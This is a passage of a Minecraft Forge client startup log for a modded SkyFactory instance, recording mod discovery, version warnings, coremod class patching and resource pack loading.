0, tcache: 0, allocated: 0, tallocated: 0 [16/5/2015 18:45:38 PM] FML: [16/5/2015 18:45:38 PM] GL info: ' Vendor: 'Intel' Version: '2.1.0 - Build 8.15.10.2086' Renderer: 'Intel(R) HD Graphics' [16/5/2015 18:45:38 PM] [Client thread/INFO] [MinecraftForge]: Attempting early MinecraftForge initialization [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: MinecraftForge v10.13.3.1395 Initialized [16/5/2015 18:45:38 PM] [18:45:38] [Thread-7/INFO] [FML]: loc: minecraft:textures/font/ascii.png, i: 0, j: 0, size: 128, width: 128, height: 128 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: Replaced 183 ore recipies [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: Preloading CrashReport classes [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.World$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.World$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.World$3 [16/5/2015 18:45:38 PM] [18:45:38] [Thread-7/INFO] [FML]: loc: minecraft:textures/gui/title/mojang.png, i: 0, j: 0, size: 256, width: 256, height: 256 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.World$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.chunk.Chunk$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.crash.CrashReportCategory$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.crash.CrashReportCategory$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.crash.CrashReportCategory$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.entity.Entity$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.entity.Entity$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.entity.EntityTracker$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.layer.GenLayer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.layer.GenLayer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.entity.player.InventoryPlayer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.structure.MapGenStructure$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.structure.MapGenStructure$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.gen.structure.MapGenStructure$3 [16/5/2015 18:45:38 PM] [18:45:38] [Thread-7/INFO] [FML]: loc: fml:textures/gui/forge.png, i: 0, j: 0, size: 128, width: 128, height: 128 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.MinecraftServer$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.MinecraftServer$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.MinecraftServer$5 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.nbt.NBTTagCompound$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.nbt.NBTTagCompound$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.network.NetHandlerPlayServer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.network.NetworkSystem$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.tileentity.TileEntity$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.tileentity.TileEntity$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.tileentity.TileEntity$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$5 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$6 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$7 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$8 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.world.storage.WorldInfo$9 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$5 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$6 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$7 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$8 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$9 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$10 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$11 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$12 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$13 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$14 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.Minecraft$15 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.multiplayer.WorldClient$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.multiplayer.WorldClient$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.multiplayer.WorldClient$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.multiplayer.WorldClient$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.particle,EffectRenderer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.particle,EffectRenderer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.particle,EffectRenderer$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.particle,EffectRenderer$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.EntityRenderer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.EntityRenderer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.EntityRenderer$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.integrated.IntegratedServer$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.server.integrated.IntegratedServer$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.RenderGlobal$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.entity.RenderItem$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.entity.RenderItem$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.entity.RenderItem$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.entity.RenderItem$4 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureAtlasSprite$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureManager$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureMap$1 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureMap$2 [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: net.minecraft.client.renderer.texture.TextureMap$3 [16/5/2015 18:45:38 PM] [Client thread/INFO] [MinecraftForge]: Completed early MinecraftForge initialization [16/5/2015 18:45:38 PM] [Client thread/WARN] [FML]: Enabling removal of erroring Entities - USE AT YOUR OWN RISK [16/5/2015 18:45:38 PM] [Client thread/WARN] [FML]: Enabling removal of erroring Tile Entities - USE AT YOUR OWN RISK [16/5/2015 18:45:38 PM] [Client thread/INFO] [FML]: [AppEng] Core Init [16/5/2015 18:45:39 PM] [Client thread/INFO] [FML]: Found 0 mods from the command line. Injecting into mod discoverer [16/5/2015 18:45:39 PM] [Client thread/INFO] [FML]: Searching **USERSDIR**\Instances\SkyFactory\mods for mods [16/5/2015 18:45:39 PM] [Client thread/INFO] [FML]: Also searching **USERSDIR**\Instances\SkyFactory\mods\1.7.10 for mods [16/5/2015 18:45:48 PM] [Client thread/WARN] [DamageIndicatorsMod]: Mod DamageIndicatorsMod is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 3.2.3 [16/5/2015 18:45:53 PM] [Client thread/WARN] [ChickenChunks]: Mod ChickenChunks is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.3.4.19 [16/5/2015 18:45:54 PM] [Client thread/WARN] [DragonMounts]: Mod DragonMounts is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version r41-1.7.10 [16/5/2015 18:45:55 PM] [Client thread/WARN] [EnderStorage]: Mod EnderStorage is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.7.32 [16/5/2015 18:45:57 PM] [Client thread/WARN] [ExtraUtilities]: Mod ExtraUtilities is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.2.4a [16/5/2015 18:45:58 PM] [Client thread/WARN] [ForbiddenMagic]: Mod ForbiddenMagic is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.7.10-0.562 [16/5/2015 18:46:01 PM] [Client thread/WARN] [neiintegration]: Mod neiintegration is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.0.8 [16/5/2015 18:46:04 PM] [Client thread/WARN] [simplyjetpacks]: Mod simplyjetpacks is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.1 [16/5/2015 18:46:08 PM] [Client thread/WARN] [Translocator]: Mod Translocator is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.1.1.14 [16/5/2015 18:46:11 PM] [Client thread/WARN] [WR-CBE|Core]: Mod WR-CBE|Core is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.1.9 [16/5/2015 18:46:11 PM] [Client thread/WARN] [WR-CBE|Addons]: Mod WR-CBE|Addons is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.1.9 [16/5/2015 18:46:12 PM] [Client thread/WARN] [WR-CBE|Logic]: Mod WR-CBE|Logic is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.4.1.9 [16/5/2015 18:46:13 PM] [Client thread/WARN] [ForgeMicroblock]: Mod ForgeMicroblock is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.1.2.332 [16/5/2015 18:46:14 PM] [Client thread/WARN] [ForgeMultipart]: Mod ForgeMultipart is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.1.2.332 [16/5/2015 18:46:14 PM] [Client thread/WARN] [McMultipart]: Mod McMultipart is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.1.2.332 [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Forge Mod Loader has identified 140 mods to load [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [exastris] containing declared API package cofh.api.energy (owned by CoFHAPI) without associated API reference [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [ExtraUtilities] containing declared API package baubles.api (owned by Baubles) without associated API reference [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [FoodPlus] containing declared API package thaumcraft.api (owned by Thaumcraft) without associated API reference [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [EnderIO] containing declared API package com.cricketcraft.chisel.api (owned by Chisel) without associated API reference [16/5/2015 18:46:14 PM] [Client thread/INFO] [FML]: Found mod(s) [simplyjetpacks] containing declared API package cofh.api (owned by CoFHLib) without associated API reference [16/5/2015 18:46:18 PM] [Client thread/INFO] [FML]: FML has found a non-mod file CodeChickenLib-1.7.10-1.1.3.134-universal.jar in your mods directory. It will now be injected into your classpath. This could severe stability issues, it should be removed if possible. [16/5/2015 18:46:23 PM] [Client thread/INFO] [FML]: Attempting connection with missing mods [mcp, FML, Forge, appliedenergistics2-core, CodeChickenCore, MobiusCore, NotEnoughItems, VeinMiner_coremod, OpenModsCore, <CoFH ASM>, lucky, furnace3d, ArmorStatusHUD, DamageIndicatorsMod, StartingInventory, appliedenergistics2, AutoFood, Automagy, autopackager, BiblioCraft, BiblioWoodsNatura, BigReactors, Botania, CarpentersBlocks, ChickenChunks, chisel, CoFHCore, ComputerCraft, CosmeticArmor, props, DraconicEvolution, DragonMounts, dualhotbar, Emotes, EnderIO, EnderStorage, EnderTech, enderutilities, exastris, exnihilo, extracells, ExtraTiC, ExtraUtilities, FoodPlus, ForbiddenMagic, foxlib, GregsLighting, Hats, HatStand, headcrumbs, iChunUtil, IguanaTweaksTConstruct, ImmibisCore, inventorytweaks, IronChest, ItsRainingFood, JABBA, LiquidXP, lootbags, LunatriusCore, magicalcrops, Mantle, mfrmagiccropscompat, MineFactoryReloaded, MineFactoryReloaded|CompatAppliedEnergistics, MineFactoryReloaded|CompatAtum, MineFactoryReloaded|CompatBackTools, MineFactoryReloaded|CompatBuildCraft, MineFactoryReloaded|CompatChococraft, MineFactoryReloaded|CompatExtraBiomes, MineFactoryReloaded|CompatForestry, MineFactoryReloaded|CompatForgeMicroblock, MineFactoryReloaded|CompatIC2, MineFactoryReloaded|CompatMystcraft, MineFactoryReloaded|CompatProjRed, MineFactoryReloaded|CompatRailcraft, MineFactoryReloaded|CompatSufficientBiomes, MineFactoryReloaded|CompatThaumcraft, MineFactoryReloaded|CompatThermalExpansion, MineFactoryReloaded|CompatTConstruct, MineFactoryReloaded|CompatTwilightForest, MineFactoryReloaded|CompatVanilla, MooFluids, moreplayermodels, Morpheus, Natura, NEIAddons, NEIAddons|Botany, NEIAddons|Forestry, NEIAddons|CraftingTables, NEIAddons|ExNihilo, neiintegration, OpenBlocks, OpenMods, OpenPeripheral, OpenPeripheralCore, OpenPeripheralIntegration, PluginMessages, RanchableFluidCows, RedLogic, RedstoneArsenal, xreliquary, rftools, SimpleAchievements, simplyjetpacks, slabcraftmod, SolarFlux, staircraftmod, Sync, TabulaRasa, Tails, TConstruct, Thaumcraft, thaumcraftneiplugin, thaumicenergistics, ThermalCasting, ThermalDynamics, ThermalExpansion, ThermalFoundation, Translocator, treeGrowingSimulator, ttCore, UtilityMobs, VeinMiner, VeinMinerModSupport, Waila, WailaHarvestability, WailaNBT, wawla, witchery, WR-CBE|Core, WR-CBE|Addons, WR-CBE|Logic, YUNoMakeGoodMap, bspkrsCore, Baubles, ForgeMicroblock, ForgeMultipart, McMultipart, libsandstone] at CLIENT [16/5/2015 18:46:23 PM] [Client thread/INFO] [FML]: Attempting connection with missing mods [mcp, FML, Forge, appliedenergistics2-core, CodeChickenCore, MobiusCore, NotEnoughItems, VeinMiner_coremod, OpenModsCore, <CoFH ASM>, lucky, furnace3d, ArmorStatusHUD, DamageIndicatorsMod, StartingInventory, appliedenergistics2, AutoFood, Automagy, autopackager, BiblioCraft, BiblioWoodsNatura, BigReactors, Botania, CarpentersBlocks, ChickenChunks, chisel, CoFHCore, ComputerCraft, CosmeticArmor, props, DraconicEvolution, DragonMounts, dualhotbar, Emotes, EnderIO, EnderStorage, EnderTech, enderutilities, exastris, exnihilo, extracells, ExtraTiC, ExtraUtilities, FoodPlus, ForbiddenMagic, foxlib, GregsLighting, Hats, HatStand, headcrumbs, iChunUtil, IguanaTweaksTConstruct, ImmibisCore, inventorytweaks, IronChest, ItsRainingFood, JABBA, LiquidXP, lootbags, LunatriusCore, magicalcrops, Mantle, mfrmagiccropscompat, MineFactoryReloaded, MineFactoryReloaded|CompatAppliedEnergistics, MineFactoryReloaded|CompatAtum, MineFactoryReloaded|CompatBackTools, MineFactoryReloaded|CompatBuildCraft, MineFactoryReloaded|CompatChococraft, MineFactoryReloaded|CompatExtraBiomes, MineFactoryReloaded|CompatForestry, MineFactoryReloaded|CompatForgeMicroblock, MineFactoryReloaded|CompatIC2, MineFactoryReloaded|CompatMystcraft, MineFactoryReloaded|CompatProjRed, MineFactoryReloaded|CompatRailcraft, MineFactoryReloaded|CompatSufficientBiomes, MineFactoryReloaded|CompatThaumcraft, MineFactoryReloaded|CompatThermalExpansion, MineFactoryReloaded|CompatTConstruct, MineFactoryReloaded|CompatTwilightForest, MineFactoryReloaded|CompatVanilla, MooFluids, moreplayermodels, Morpheus, Natura, NEIAddons, NEIAddons|Botany, NEIAddons|Forestry, NEIAddons|CraftingTables, NEIAddons|ExNihilo, neiintegration, OpenBlocks, OpenMods, OpenPeripheral, OpenPeripheralCore, OpenPeripheralIntegration, PluginMessages, RanchableFluidCows, RedLogic, RedstoneArsenal, xreliquary, rftools, SimpleAchievements, simplyjetpacks, slabcraftmod, SolarFlux, staircraftmod, Sync, TabulaRasa, Tails, TConstruct, Thaumcraft, thaumcraftneiplugin, thaumicenergistics, ThermalCasting, ThermalDynamics, ThermalExpansion, ThermalFoundation, Translocator, treeGrowingSimulator, ttCore, UtilityMobs, VeinMiner, VeinMinerModSupport, Waila, WailaHarvestability, WailaNBT, wawla, witchery, WR-CBE|Core, WR-CBE|Addons, WR-CBE|Logic, YUNoMakeGoodMap, bspkrsCore, Baubles, ForgeMicroblock, ForgeMultipart, McMultipart, libsandstone] at SERVER [16/5/2015 18:46:24 PM] [Client thread/INFO] [MobiusCore]: Found cpw.mods.fml.common.network.FMLOutboundHandler with checksum CB55471D614BD5AF06AEA87A77A3014F [16/5/2015 18:46:24 PM] [Client thread/INFO] [MobiusCore]: Successful injection in write (Lio/netty/channel/ChannelHandlerContext;Ljava/lang/Object;Lio/netty/channel/ChannelPromise;)V [16/5/2015 18:46:25 PM] [Client thread/INFO] [MobiusCore]: Found cpw.mods.fml.common.eventhandler.ASMEventHandler with checksum 1C68592318817E7EE853EC874A5ACBF4 [16/5/2015 18:46:25 PM] [Client thread/INFO] [MobiusCore]: Successful injection in <init> (Ljava/lang/Object;Ljava/lang/reflect/Method;Lcpw/mods/fml/common/ModContainer;)V [16/5/2015 18:46:25 PM] [Client thread/INFO] [MobiusCore]: Successful injection in invoke (Lcpw/mods/fml/common/eventhandler/Event;)V [16/5/2015 18:46:25 PM] [Client thread/INFO] [MobiusCore]: Successful injection in invoke (Lcpw/mods/fml/common/eventhandler/Event;)V [16/5/2015 18:46:25 PM] [Client thread/INFO] [STDOUT]: [mods.immibis.core.ImmibisCore:initPreferredEnergySystem:198]: [Immibis Core] Preferred energy system set to: redstoneFlux [16/5/2015 18:46:33 PM] [Client thread/INFO] [Draconic Evolution]: Hello Minecraft!!! [16/5/2015 18:46:33 PM] [Client thread/INFO] [STDOUT]: [com.rebelkeithy.dualhotbar.DualHotbarMod:checkRemote:96]: checking remote [16/5/2015 18:46:33 PM] [Client thread/INFO] [STDOUT]: [com.rebelkeithy.dualhotbar.DualHotbarMod:checkRemote:96]: checking remote [16/5/2015 18:46:36 PM] [Client thread/INFO] [TConstruct]: Natura, what are we going to do tomorrow night? [16/5/2015 18:46:36 PM] [Client thread/INFO] [Natura]: TConstruct, we're going to take over the world! [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Starting on net.minecraft.client.model.ModelBiped [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Method is func_78087_a or a for obf. [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Descriptor is (FFFFFFLnet/minecraft/entity/Entity;)V or (FFFFFFLsa;)V dor obf. [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Found method: a (FFFFFFLsa;)V [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] RETURN Opcode found [16/5/2015 18:46:37 PM] [Client thread/INFO] [STDOUT]: [vazkii.emotes.client.asm.ClassTransformer:log:66]: [Emotes][ASM] Patched! [16/5/2015 18:46:41 PM] GregsLighting: creativeTab = gcewing.lighting.GregsLighting$1@1804f6e [16/5/2015 18:46:44 PM] [Client thread/INFO] [OpenMods]: openperipheral.ApiProvider.installApi(ApiProvider.java:203): OPC API v. 3.2 provideded by OpenPeripheralCore, (ApiAccess source: jar:file:/C:/Users/cr7/Desktop/New%20folder/Instances/SkyFactory/mods/OpenPeripheralCore-1.7.10-1.1.jar!/openperipheral/api/ApiAccess.class) [16/5/2015 18:46:49 PM] [Client thread/INFO] [ttCore]: Transforming Class [net.minecraft.world.WorldType], Method [func_76564_j] [16/5/2015 18:46:49 PM] [Client thread/INFO] [ttCore]: Transforming net.minecraft.world.WorldType Finished. [16/5/2015 18:46:50 PM] [Client thread/ERROR] [MooFluids]: The mod MooFluids is expecting signature @FINGERPRINT@ for source MooFluids-1.7.10-1.5.01.19a.jar, however there is no signature matching that description [16/5/2015 18:46:50 PM] [Client thread/ERROR] [Moo Fluids]: No fingerprint found! [16/5/2015 18:46:50 PM] [Client thread/INFO]: Reloading ResourceManager: Default, FMLFileResourcePack:Forge Mod Loader, FMLFileResourcePack:Minecraft Forge, FMLFileResourcePack:Not Enough Items, FMLFileResourcePack:Lucky Block, FMLFileResourcePack:Furnace 3D, FMLFileResourcePack:ArmorStatusHUD, FMLFileResourcePack:Damage Indicators, FMLFileResourcePack:StartingInventory, FMLFileResourcePack:Applied Energistics 2, FMLFileResourcePack:AutoFood, FMLFileResourcePack:Automagy, FMLFileResourcePack:AutoPackager, FMLFileResourcePack:BiblioCraft, FMLFileResourcePack:BiblioWoods Natura Edition, FMLFileResourcePack:Big Reactors, FMLFileResourcePack:Botania, FMLFileResourcePack:Carpenter's Blocks, FMLFileResourcePack:ChickenChunks, FMLFileResourcePack:Chisel 2, FMLFileResourcePack:CoFH Core, FMLFileResourcePack:ComputerCraft, FMLFileResourcePack:Cosmetic Armor, FMLFileResourcePack:Decocraft, FMLFileResourcePack:Draconic Evolution, FMLFileResourcePack:Dragon Mounts, FMLFileResourcePack:Dual Hotbar, FMLFileResourcePack:Emotes, FMLFileResourcePack:Ender IO, FMLFileResourcePack:EnderStorage, FMLFileResourcePack:EnderTech, FMLFileResourcePack:Ender Utilities, FMLFileResourcePack:Ex Astris, FMLFileResourcePack:Ex Nihilo, FMLFileResourcePack:ExtraCells, FMLFileResourcePack:ExtraTiC, FMLFileResourcePack:Extra Utilities, FMLFileResourcePack:Food Plus, FMLFileResourcePack:Forbidden Magic, FMLFileResourcePack:FoxLib, FMLFileResourcePack:Greg's Lighting, FMLFileResourcePack:Hats, FMLFileResourcePack:HatStand, FMLFileResourcePack:Headcrumbs, FMLFileResourcePack:iChunUtil, FMLFileResourcePack:Iguana Tinker Tweaks, FMLFileResourcePack:Immibis Core, FMLFileResourcePack:Inventory Tweaks, FMLFileResourcePack:Iron Chest, FMLFileResourcePack:It's Raining Food, FMLFileResourcePack:JABBA, FMLFileResourcePack:Liquid XP, FMLFileResourcePack:Loot Bags, FMLFileResourcePack:LunatriusCore, FMLFileResourcePack:Magical Crops, FMLFileResourcePack:Mantle, FMLFileResourcePack:MinefactoryReloaded & MagicalCrops extra compatibility, FMLFileResourcePack:MineFactory Reloaded, FMLFileResourcePack:MFR Compat: Applied Energistics, FMLFileResourcePack:MFR Compat: Atum, FMLFileResourcePack:MFR Compat: BackTools, FMLFileResourcePack:MFR Compat: BuildCraft, FMLFileResourcePack:MFR Compat: Chococraft, FMLFileResourcePack:MFR Compat: ExtraBiomes, FMLFileResourcePack:MFR Compat: Forestry, FMLFileResourcePack:MFR Compat: ForgeMicroblock, FMLFileResourcePack:MFR Compat: IC2, FMLFileResourcePack:MFR Compat: Mystcraft, FMLFileResourcePack:MFR Compat ProjectRed, FMLFileResourcePack:MFR Compat: Railcraft, FMLFileResourcePack:MFR Compat: Sufficient Biomes, FMLFileResourcePack:MFR Compat: Thaumcraft, FMLFileResourcePack:MFR Compat: Thermal Expansion, FMLFileResourcePack:MFR Compat: Tinkers' Construct, FMLFileResourcePack:MFR Compat: TwilightForest, FMLFileResourcePack:MFR Compat: Vanilla, FMLFileResourcePack:Moo Fluids, FMLFileResourcePack:MorePlayerModels, FMLFileResourcePack:Morpheus, FMLFileResourcePack:Natura, FMLFileResourcePack:NEI Addons, FMLFileResourcePack:NEI Addons: Botany, FMLFileResourcePack:NEI Addons: Forestry, FMLFileResourcePack:NEI Addons: Crafting Tables, FMLFileResourcePack:NEI Addons: Ex Nihilo, FMLFileResourcePack:NEI Integration, FMLFileResourcePack:OpenBlocks, FMLFileResourcePack:OpenMods, FMLFileResourcePack:OpenPeripheralAddons, FMLFileResourcePack:OpenPeripheralCore, FMLFileResourcePack:OpenPeripheralIntegration, FMLFileResourcePack:Plugin Messages Mod, FMLFileResourcePack:Ranchable Fluid Cows, FMLFileResourcePack:RedLogic, FMLFileResourcePack:Redstone Arsenal, FMLFileResourcePack:Reliquary, FMLFileResourcePack:RFTools, FMLFileResourcePack:Simple Achievements, FMLFileResourcePack:Simply Jetpacks, FMLFileResourcePack:Slabcraft, FMLFileResourcePack:Solar Flux, FMLFileResourcePack:Staircraft, FMLFileResourcePack:Sync, FMLFileResourcePack:Tabula Rasa, FMLFileResourcePack:Tails, FMLFileResourcePack:Tinkers' Construct, FMLFileResourcePack:Thaumcraft, FMLFileResourcePack:Thaumcraft NEI Plugin, FMLFileResourcePack:Thaumic Energistics, FMLFileResourcePack:Thermal Casting, FMLFileResourcePack:Thermal Dynamics, FMLFileResourcePack:Thermal Expansion, FMLFileResourcePack:Thermal Foundation, FMLFileResourcePack:Translocator, FMLFileResourcePack:Tree Growing Simulator 2014, FMLFileResourcePack:ttCore, FMLFileResourcePack:Utility Mobs, FMLFileResourcePack:Vein Miner, FMLFileResourcePack:Mod Support, FMLFileResourcePack:Waila, FMLFileResourcePack:Waila Harvestability, FMLFileResourcePack:Waila NBT, FMLFileResourcePack:What Are We Looking At, FMLFileResourcePack:Witchery, FMLFileResourcePack:WR-CBE Core, FMLFileResourcePack:WR-CBE Addons, FMLFileResourcePack:WR-CBE Logic, FMLFileResourcePack:YUNoMakeGoodMap, FMLFileResourcePack:bspkrsCore, FMLFileResourcePack:Baubles, FMLFileResourcePack:Forge Microblocks, FMLFileResourcePack:Forge Multipart, FMLFileResourcePack:Minecraft Multipart Plugin, FMLFileResourcePack:libsandstone [16/5/2015 18:46:51 PM] [Client thread/INFO] [FML]: Processing ObjectHolder annotations [16/5/2015 18:46:53 PM] [Client thread/INFO] [FML]: Found 434 ObjectHolder annotations [16/5/2015 18:46:53 PM] [Client thread/INFO] [FML]: Configured a dormant chunk cache size of 0 [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: [MobiusCore] Found net.minecraft.client.renderer.entity.RenderManager [ bnn ] with checksum 23331C7A7033A1CF1F1AAE38FD89A9B5 [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: Successful injection in a (Lsa;DDDFFZ)Z [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: Successful injection in a (Lsa;DDDFFZ)Z [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: [MobiusCore] Found net.minecraft.client.renderer.tileentity.TileEntityRendererDispatcher [ bmk ] with checksum 1B9F2A44C89A8C0C359AD4D34A73DA8D [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: Successful injection in a (Laor;DDDF)V [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: Successful injection in a (Laor;DDDF)V [16/5/2015 18:47:00 PM] [Client thread/INFO] [AE2:C]: Pre Initialization ( started ) [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: func_145839_a(Lnet/minecraft/nbt/NBTTagCompound;)V - Transformed [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: func_145841_b(Lnet/minecraft/nbt/NBTTagCompound;)V - Transformed [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.energy.tile.IEnergySink from appeng/tile/powersink/IC2 because IC2 integration is disabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/tile/powersink/IC2 [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface Reika.RotaryCraft.API.Power.ShaftPowerReceiver from appeng/tile/powersink/RotaryCraft because RotaryCraft 